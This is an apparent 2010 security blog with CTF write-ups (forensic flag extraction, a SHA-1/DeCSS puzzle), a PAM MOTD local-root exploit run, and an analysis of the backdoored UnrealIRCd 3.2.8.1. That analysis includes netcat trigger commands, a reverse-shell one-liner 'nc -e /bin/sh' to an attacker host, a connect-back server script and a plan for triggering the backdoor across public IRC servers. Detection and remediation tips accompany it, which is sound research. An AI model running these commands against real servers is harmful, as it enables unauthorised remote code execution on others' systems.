$ cp /usr/share/doc/libucl-dev/examples/Makefile /usr/share/doc/libucl-dev/examples/uclpack.c.gz /usr/share/doc/libucl-dev/examples/portab.h .
$ make uclpack
gzip -d uclpack.c.gz
gcc -O2   -c -o uclpack.o uclpack.c
gcc -lucl  uclpack.o   -o uclpack
rm uclpack.c
$ mv forensic_image{,.ucl}
$ ./uclpack -d forensic_image{.ucl,}

UCL data compression library (v1.03, Jul 20 2004).
Copyright (C) 1996-2004 Markus Franz Xaver Johannes Oberhumer
http://www.oberhumer.com/opensource/ucl/

uclpack: block-size is 262144 bytes
uclpack: decompressed 15723366 into 31989760 bytes

We finally obtain a tar archive of joe's home directory:
$ file forensic_image
forensic_image: POSIX tar archive (GNU)
$ tar xf forensic_image
$ ls -l joe
total 777
drwxrwxrwx 1 root root       0 May 23 20:04 Desktop
drwxrwxrwx 1 root root       0 May 24 00:20 Documents
drwxrwxrwx 1 root root       0 May 23 20:05 Downloads
-rwxrwxrwx 1 root root    1149 May 24 00:13 Joe Hacker.asc
-rwxrwxrwx 1 root root    1334 May 24 00:14 JoeHackerPrivate.gpg
drwxrwxrwx 1 root root       0 May 23 20:04 Music
drwxrwxrwx 1 root root       0 Jun 30 02:50 Pictures
drwxrwxrwx 1 root root       0 May 23 20:04 Public
drwxrwxrwx 1 root root       0 May 23 20:04 Templates
drwxrwxrwx 1 root root       0 May 23 20:04 Videos
-rwxrwxrwx 1 root root     167 May 23 19:57 examples.desktop
-rwxrwxrwx 1 root root    4681 May 24 00:18 gppg-stuff.txt
-rwxrwxrwx 1 root root 1580775 Jun 30 03:13 network_sniff.pcap
drwxrwxrwx 1 root root       0 May 24 00:19 scans

Many files, how to find the interesting one? First, let's try with a simple recursive grep on the word flag.
$ grep -Hirn flag joe/
[...]
Binary file joe/network_sniff.pcap matches

Suspicious... let's see more precisely:
$ hexdump -C joe/network_sniff.pcap |grep -C2 -i flag
00177820 8006467fc0a80f84 4a348e7a04470050 |..F.....J4.z.G.P|
00177830 2212c24f7fcd6683 5018faf024f80000 |"..O..f.P...$...|
00177840 474554202f666c61 67672e6a70672048 |GET /flagg.jpg H|
00177850 5454502f312e310d 0a486f73743a2077 |TTP/1.1..Host: w|
00177860 77772e70656e6665 73742e63610d0a55 |ww.penfest.ca..U|
---
00177bc0 0d0a0d0affd8ffe0 00104a4649460001 |..........JFIF..|
00177bd0 0101004800480000 fffe003454686973 |...H.H.....4This|
00177be0 20697320796f7572 20466c61673a2053 | is your Flag: S|
00177bf0 6565696e67206973 206e6f7420616c77 |eeing is not alw|
00177c00 6179732062656c69 6576696e6721ffdb |ays believing!..|

Wow, we were lucky! But it's not funny. Let's ignore the second grep result and properly open the network capture network_sniff.pcap in Wireshark, filter HTTP, and find at the end the HTTP transaction of someone requesting flagg.jpg file:


Select the HTTP response, choose the HTTP payload, recognized by Wireshark as JPEG and use right click/export selected packet bytes to save the file.


The flagg.jpg tells us we're almost done:


Indeed, there is an EXIF comment, that we can extract either with exiv2 tool:
$ exiv2 -p c flagg.jpg
This is your Flag: Seeing is not always believing!

Or with jhead:
$ jhead flagg.jpg
File name    : flagg.jpg
File size    : 38053 bytes
File date    : 2010:07:10 05:03:25
Resolution   : 640 x 400
Comment      : This is your Flag: Seeing is not always believing!

The challenge id was found in the HTML of the challenge page:
<!--Challenge Key: 74bf0f65-->

Update: @roman_soft from int3pids added that file shows the comment (truncated):
$ file flagg.jpg
flagg.jpg: JPEG image data, JFIF standard 1.01, comment: "This is your Flag: Seeing is no"

Monday, July 12, 2010

smpCTF challenge #3 write-up

This week-end was smpCTF, again I played with Nibbles and we ended 1st!

Challenge #3 was just horrible, right? ;) Worse than defcon packet100! But we finally got it, after PPP.

We were given the following instructions and hints:
  • Generate a file which has a SHA-1 hash of: 008ce55c7d1b602dc4c4c3ad52a5d064e6d1ef12
  • Hint: DRM-0, Linux-1
  • _DO NOT BRUTE FORCE_ it's not required...
  • Hidden hint (HTML comment): t3=(*((unsigned int *)(key+2)))^(*((unsigned int *)(sec+0x56)));

Understand the hint as: Linux won against DRM (1-0). Using this and the code snippet from the hidden hint quickly leads you to http://decss.zoy.org, a funny page releasing (in 42 different ways) the DeCSS source code (decss.c) to break the CSS DRM, thus allowing Linux platforms to play DVDs.

Sadly, SHA-1 sum of decss.c does not match, would have been too easy. From then, we worked really hard to get the hash. Staff mentioned that we had to consider a part of the file. Which one? I don't know, so I created a small python script trying all possible substrings:
$ python -c 'from hashlib import sha1
from sys import exit
f=open("decss.c","r").read()
for s in xrange(len(f)):
  for l in xrange(1,len(f)-s+1):
    if sha1(f[s:s+l]).hexdigest()=="008ce55c7d1b602dc4c4c3ad52a5d064e6d1ef12":
      print "Found it! offset", s, "length", l
      exit(0)'

It takes about 20 minutes to compute on my computer. Sadly, no match. So we tried many things on the file, for instance converting it to DOS format to have \n (LF) replaced by \r\n (CR+LF). One can do it with unix2dos tool:
$ unix2dos decss.c
unix2dos: converting file decss.c to DOS format ...

Running the python script again to check all the substrings, still no match. In addition to the previous operation, we replace \t (tabulation) with spaces (8, 4, 2). One can do this with UNIX expand, and sponge (from moreutils):
$ expand -t 2 decss.c |sponge decss.c

Or - I prefer - with sed:
$ sed -i 's/\t/  /g' decss.c

Again, we run the python script (on file with CRLF+double space):
$ python -c 'from hashlib import sha1
from sys import exit
f=open("decss.c","r").read()
for s in xrange(len(f)):
  for l in xrange(1,len(f)-s+1):
    if sha1(f[s:s+l]).hexdigest()=="008ce55c7d1b602dc4c4c3ad52a5d064e6d1ef12":
      print "Found it! offset", s, "length", l
      exit(0)'
Found it! offset 9149 length 572

In about 10 minutes, it finds a match! What is it?
$ head -c$[9149+572] decss.c |tail -c572 |sha1sum
008ce55c7d1b602dc4c4c3ad52a5d064e6d1ef12  -
$ head -c$[9149+572] decss.c |tail -c572
void CSSdescramble(unsigned char *sec,unsigned char *key) {
  unsigned int t1,t2,t3,t4,t5,t6;
  unsigned char *end=sec+0x800;
  t1=key[0]^sec[0x54]|0x100;
  t2=key[1]^sec[0x55];
  t3=(*((unsigned int *)(key+2)))^(*((unsigned int *)(sec+0x56)));
  t4=t3&7;
  t3=t3*2+8-t4;
  sec+=0x80;
  t5=0;
  while(sec!=end) {
    t4=CSSt2[t2]^CSSt3[t1];
    t2=t1>>1;
    t1=((t1&1)<<8)^t4;
    t4=CSSt5[t4];
    t6=(((((((t3>>3)^t3)>>1)^t3)>>8)^t3)>>5)&0xff;
    t3=(t3<<8)|t6;
    t6=CSSt4[t6];
    t5+=t6+t4;
    *sec++=CSSt1[*sec]^(t5&0xff);
    t5>>=8;
  }
}
It's CSSdescramble function (from which the line of code of the hidden hint was extracted) that can also be seen on Wikipedia.

Submit this (with CRLF & double space as tabs) and the flag is yours:
Challenge ID: 20434ef4
Flag: DiDyouEXPECTthatAtALl?

Friday, July 09, 2010

From file tampering to local root

Ubuntu Security Notice USN-959-1 (CVE-2010-0832) reports that Denis Excoffier discovered a serious flaw in PAM MOTD module in Ubuntu: it does not correctly handle path permissions when creating user file stamps. For more details, just have a look at the diff.

The exploit made by Kristian Erik Hermansen allows tampering any file. From that, we can get root for example by adding a user with uid 0. We don't want an empty password because the SSH server sshd has default PermitEmptyPasswords to no. Also, we don't want to prompt the user for his password at SSH connection, so we could create a temporary SSH key and add it to authorized_keys. Also, we want to be sure we backup any file we modify. Finally, we want to remove the rogue user and restore files we modified.

With some shell scripting you can get the following exploit in simple bash:
user@ubuntu:~$ bash ubuntu-pam-motd-local-root.sh
[*] Ubuntu PAM MOTD local root
[*] Backuped /home/user/.ssh/authorized_keys
[*] SSH key set up
[*] Backuped /home/user/.cache
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] Restored /home/user/.cache
[*] Restored /home/user/.ssh/authorized_keys
[*] SSH key removed
[+] Success! Use password toor to get root
Password:
root@ubuntu:/home/user# id
uid=0(root) gid=0(root) groups=0(root)

If you're not under Ubuntu 9.10/10.04 or up-to-date, it should fail like this:
user@ubuntu:~$ bash ubuntu-pam-motd-local-root.sh
[*] Ubuntu PAM MOTD local root
[*] Backuped /home/user/.ssh/authorized_keys
[*] SSH key set up
[*] Backuped /home/user/.cache
[*] spawn ssh
[-] Own /etc/passwd failed
[*] Restored /home/user/.cache
[*] Restored /home/user/.ssh/authorized_keys
[*] SSH key removed
user@ubuntu:~$

It can be used as a proof of concept to repeat how important security updates are. Don't ignore them!

Sunday, June 13, 2010

UnrealIRCd 3.2.8.1 backdoored, investigation

UnrealIRCd is a great IRC server software (daemon) and very popular among mid-sized networks because of its highly advanced features and the fact that it is cross-platform (at least Windows/Linux fully supported).

Yesterday, bad news: some versions of Unreal3.2.8.1.tar.gz contain a backdoor because download mirrors have been compromised.. since november 2009! Read the official security advisory for more information. Other websites are reporting the issue, someone even provided a small shell script to fix the flaw: it basically reverts the changes with diff+patch, make clean & make again, so you just have to restart your IRCd. If you're running an UnrealIRCd you should double check your installation because some exploits are already widespread, as well as an NSE (Nmap Scripting Engine) script (seen on nmap-dev mailing list) to scan & kill IRC servers infected by the backdoor.

Oh and funny thing on Yahoo news and techworld (who seems to have copy/pasted yahoo news..):
The good news [...] is that the Trojan is in a game download so it should have no bearing on Linux in a business setting.
Unreal is a popular first-person shooter game--similar to Doom or Quake.
No, Unreal is not UnrealIRCd. :)

As a curious person I wanted to know more about this backdoor, so let's investigate.


Read the source luke


Compare the good and backdoored versions:
$ md5sum Unreal3.2.8.1*
7b741e94e867c0a7370553fd01506c66  Unreal3.2.8.1.tar.gz
752e46f2d873c1679fa99de3f52a274d  Unreal3.2.8.1_backdoor.tar.gz

$ diff -urN Unreal3.2.8.1 Unreal3.2.8.1_backdoor
(see output)

Ok, the backdoor is very simple: basically a few lines with defines and macros in order to have a system() on socket data if this data begins with special word AB. You're not protected by your IRCd password since it's raw (pre-auth). Also note that the backdoor is in an #ifndef USE_POLL so versions using poll() are not affected. Sadly and as far as I know, poll is deprecated in favor of select() so the backdoor is there for most versions.


Exploit


The following shell command triggers the backdoor with netcat:
echo "AB;<command>" |nc <IRCd address> <port>

As you may know, the default port for IRC should be 194 according to the IANA assignment, however no one is using it since it's a port lower than 1024 (requiring privileges) and the common port for IRC is 6667.

It should also work on SSL/TLS servers (though I did not test yet). To trigger the backdoor in SSL/TLS, simply use OpenSSL's s_client:
echo "AB;<command>" |openssl s_client -connect <IRCd address>:<port>

Again, according to the IANA assignment it should be port 994 but no one is using it. Most of the time it's port 6697, but it's not as common as the clear-text port so you may find other ports.


Monitoring backdoor access attempts


If you're running an IRC server, you can use ngrep to literally grep the network in order to see attempts to trigger the backdoor:
# ngrep -tqxl "^AB" "tcp dst port 6667"
interface: eth0 (X.Y.Z.T/255.255.255.255)
filter: (ip or ip6) and ( tcp dst port 6667 )
match: ^AB

T 2010/06/13 16:57:10.187607 A.B.C.D:52914 -> X.Y.Z.T:6667 [AP]
  41 42 3b 6b 69 6c 6c 20    60 70 73 20 2d 65 20 7c    AB;kill `ps -e |
  20 67 72 65 70 20 69 72    63 64 20 7c 20 61 77 6b     grep ircd | awk
  20 27 7b 20 70 72 69 6e    74 20 24 31 20 7d 27 60     '{ print $1 }'`
  0a                                                    .
Here someone is trying to scan & kill all IRC servers infected by the backdoor with the NSE (Nmap Scripting Engine) script seen on nmap-dev mailing list. Killing is good idea, sadly most IRC servers have a cron script (or something like monit) to restart the server if it is not running.


Obtaining a shell with connect-back


In order to easily use the backdoor, we could use the known method of connect-back shell. It won't work with servers behind a properly configured firewall (disallowing connect-backs), hopefully most of them are not.

Assuming attacker machine is 10.0.0.1 and backdoored IRCd is 10.0.0.2, it gives:

Attacker shell 1:
$ nc -vnlp 6676
listening on [any] 6676 ...
Attacker shell 2:
$ echo "AB;nc -e /bin/sh 10.0.0.1 6676" |nc 10.0.0.2 6667
Then on shell 1:
connect to [10.0.0.1] from (UNKNOWN) [10.0.0.2] 44525
id
uid=1000(irc) gid=1000(irc) groups=1000(irc)


Scanning the internet for backdoored UnrealIRCds


Next step would be to scan all IRC servers and find which ones are affected. Since we need a reply to know if the exploit worked, we will use the connect-back method and leave those with good firewalls alone. ;)

We can trigger the backdoor with:
echo "AB;nc -e /usr/bin/id <your server> 6676" |nc -w 2 <ircd> 6667

We just need a simple TCP server to log all connections: connecting IP as well as the message with the user running the IRCd thanks to id. The following Python script (connect-back-server.py) does this using the useful SocketServer class:
#!/usr/bin/env python
# Connect-back server for UnrealIRCd 3.2.8.1 backdoor
# May not work on firewalled hosts though the backdoor is here
import SocketServer,sys
PORT=6676

class S(SocketServer.BaseRequestHandler):
  allow_reuse_address = True
  def handle(self):
    print "%s: %s" % (self.client_address[0],self.request.recv(1024).strip())
    sys.stdout.flush()

try:
  SocketServer.TCPServer(("0.0.0.0", PORT), S).serve_forever()
except KeyboardInterrupt,e:
  sys.exit(1)

The next thing we need is a list of IRC servers in order to trigger the backdoor and see the results in the connect-back server.


Harvesting IRC servers


A good start is mIRC's servers.ini list. To improve this list, netsplit.de and SearchIRC have a pretty good lists of all IRC networks and servers. We could also use pages like Denora IRC Stats users to get more IRC servers.

By the way if you are running an IRC network, Denora is a very good piece of software to provide statistics, along with phpDenora. Small advertisement because I like these guys and the software is very good :)

Grabbing all these IRC servers and making a list requires subtle use of wget (to avoid being seen as a robot or trying to DoS) plus some parsing, use your shell/grep/sed/perl/whatever guru skills.

Now to improve this list, remember the Round-Robin DNS: multiple IP addresses for one hostname (and possibly different IRC servers). So we'll use dig +short to get all the records.

Then we decide to focus only on default IRC port 6667 and filter out all hosts with 6667 closed by using the ultimate network scanner nmap. It finally gives a list of ~1300 hosts possibly running an IRCd.


Scan results


10 hours after the original announcement (14h00 UTC), someone reported that 2% of the public IRC servers were infected (and had connect-back working).. with some hosts running the IRCd as root! :o


Conclusion


Bad for UnrealIRCd and affected users, but the good thing is that we can all learn from this for the future. Syzop (head developer of UnrealIRCd) announced that from now on, releases are signed with GnuPG (PGP) again.
Fyodor (head developer of nmap) also made an interesting post about it on nmap-dev mailing list and reminds us to practice safe software.

Needless to say that if you see the backdoor on your server, you should really consider reinstalling the whole server (and maybe more), change your passwords and so on. Eight month is a really long time..

In addition to running the IRC server under an unprivileged user, one could also consider running it in a restricted environment: a FreeBSD jail, a OpenVZ container, a Linux-VServer, or even if it's not perfect just a chroot (UnrealIRCd seems to support it).

Sunday, June 06, 2010

Updated links, XMLStarlet

Just a small message to let you know that I have updated my links list. Big thanks to these good sites/blogs that I read regularly via their RSS/Atom feeds.

To create this list, I exported my subscriptions from Google Reader and used XMLStarlet to easily parse the XML.
F=google-reader-subscriptions.xml
for N in $(xmlstarlet sel -t -m '/opml/body/outline' -v "@title" -n $F); do
  echo "# $N"
  xmlstarlet sel -t -m "/opml/body/outline[@title='$N']/outline" -v "@title" -o '|' -v '@htmlUrl' -n $F
done > subscriptions
# manual edit to remove some things
grep -v '^#' subscriptions |sort |awk 'BEGIN{FS="|"} {if ($0!="") print "<a href=\""$2"\">"$1"</a><br />"}' > feeds.html
Some resources about XMLStarlet.

List last updated on July 19th.